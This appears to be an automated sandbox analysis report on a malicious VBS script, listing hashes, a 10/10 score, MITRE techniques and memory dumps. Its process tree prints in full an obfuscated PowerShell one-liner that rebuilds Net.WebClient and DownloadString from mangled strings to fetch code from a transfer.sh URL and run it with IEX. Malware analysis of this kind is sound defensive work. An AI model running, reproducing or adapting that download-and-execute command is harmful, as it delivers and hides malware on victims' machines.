d424a08c1e1eac484c029a6ef4008bf991aebf26a86aa02fecd18ad60bb24a0f

Analysis

max time kernel
110s
max time network
32s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
07/01/2024, 16:56

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General

Target

498b038f610b49e31b24ac641a1010d4.vbs
Size

733B
MD5

498b038f610b49e31b24ac641a1010d4
SHA1

d44a1e96a3ab5747705dbb242ab07e452e1ae9bb
SHA256

d424a08c1e1eac484c029a6ef4008bf991aebf26a86aa02fecd18ad60bb24a0f
SHA512

355352707e9638b3b3226c867d89d6dbacd6a8886a7f2ea3ccd280aedae78e3cbc86f0d3a89ef2c754959d4322fc635476c4358d8cf9b8175c42a659ba0d45c6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://transfer.sh/get/1jmaVDV/model.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1092	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1092	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 1092	1952	WScript.exe	30
PID 1952 wrote to memory of 1092	1952	WScript.exe	30
PID 1952 wrote to memory of 1092	1952	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/get/1jmaVDV/model.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1092-4-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/1092-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/1092-5-0x000007FEF5A50000-0x000007FEF63ED000-memory.dmp

Filesize
9.6MB

Download
memory/1092-7-0x0000000002B20000-0x0000000002BA0000-memory.dmp

Filesize
512KB

Download
memory/1092-10-0x0000000002B20000-0x0000000002BA0000-memory.dmp

Filesize
512KB

Download
memory/1092-9-0x0000000002B20000-0x0000000002BA0000-memory.dmp

Filesize
512KB

Download
memory/1092-8-0x000007FEF5A50000-0x000007FEF63ED000-memory.dmp

Filesize
9.6MB

Download
memory/1092-11-0x0000000002B20000-0x0000000002BA0000-memory.dmp

Filesize
512KB

Download
memory/1092-12-0x000007FEF5A50000-0x000007FEF63ED000-memory.dmp

Filesize
9.6MB

Download